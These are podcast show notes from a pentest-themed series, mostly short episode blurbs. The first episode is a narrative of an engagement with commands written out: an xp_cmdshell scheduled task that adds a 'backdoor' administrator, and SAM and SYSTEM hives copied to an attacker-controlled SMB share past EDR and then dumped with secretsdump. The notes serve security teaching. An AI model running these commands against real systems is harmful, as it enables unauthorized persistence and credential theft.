7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

7MS #617: Tales of Pentest Pwnage – Part 55

Hey friends, today we've got a tale of pentest pwnage that covers: Passwords – make sure to look for patterns such as keyboard walks, as well as people who are picking passwords where the month the password changed is part of the password (say that five times fast)! Making sure you go after cached credentials Attacking SCCM – Misconfiguration Manager is an absolute gem to read, and The First Cred is the Deepest – Part 2 with Gabriel Prud'homme is an absolute gem to see. Also, check out sccmhunter for all your SCCM pwnage needs.

7MS #616: Interview with Andrew Morris of GreyNoise

Hey friends, today we have a super fun interview with Andrew Morris of GreyNoise to share. Andrew chatted with us about: Young Andrew's early adventures in hacking his school's infrastructure (note: don't try this at home, kids!) Meeting a pentester for the first time, and getting his first pentesting job Spinning up a box on the internet, having it get popped instantly, and wondering…"Are all these people trying to hack me?" Battling through a pentester's least favorite part of the job: THE REPORT! GreyNoise's origin story How to build a better honeypot/honeynet

7MS #615: Tales of Pentest Pwnage – Part 54

Hey friends, sorry I'm so late with this (er, last) week's episode but I'm back! Today is more of a prep for tales of pentest pwnage, but topics covered include: Make sure when you're snafflin' that you check for encrypted/obfuscated logins and login strings – it might not be too tough to decrypt them! On the defensive side, I've found myself getting *blocked* doing things like SharpHound runs, Snaffler, PowerHuntShares, etc. Look through the readme files for these tools and try cranking down the intensity/threads of these tools and you might fly under the radar.

7MS #612: Pentestatonix - Part 2

7MS #612: Pentestatonix - Part 2

Hello friends, we're still deep in the podcast trenches this quarter and wanted to share some nuggets of cool stuff we've been learning along the way: Snaffler – pairs nicely with PowerHuntShares to find juicy tidbits within file/folder shares Group3r – helps you find interesting and potentially abusable Group Policy Object configurations Farmer – totally awesome toolkit for dropping tricky files on shares that will do things like fire up the Webclient service for any system browsing the share (doesn't require admin rights!) or coaxing a system into authenticating with you via HTTP or SMB

7MS #611: Pentestatonix

Hey friends, sorry for the late episode but I've been deep in the trenches of pentest adventures.  I'll do a more formal tale of pentest pwnage when I come up for air, but for now I wanted to share some tips I've picked up from recent engagements: GraphRunner - awesome PowerShell toolkit for interacting with Microsoft Graph API.  From a pentesting perspective, it may help you bridge the "gap" between LAN-side AD and Azure and find some goodies - like files with and XSLX extension containing the word password. PowerUpSQL -I typically use this to make SQL servers cough me up a hash via SMB using stored procedures, but I learned this week that I'll deeeefffffinitely use the Invoke-SQLAudit -Verbose functionality going forward.
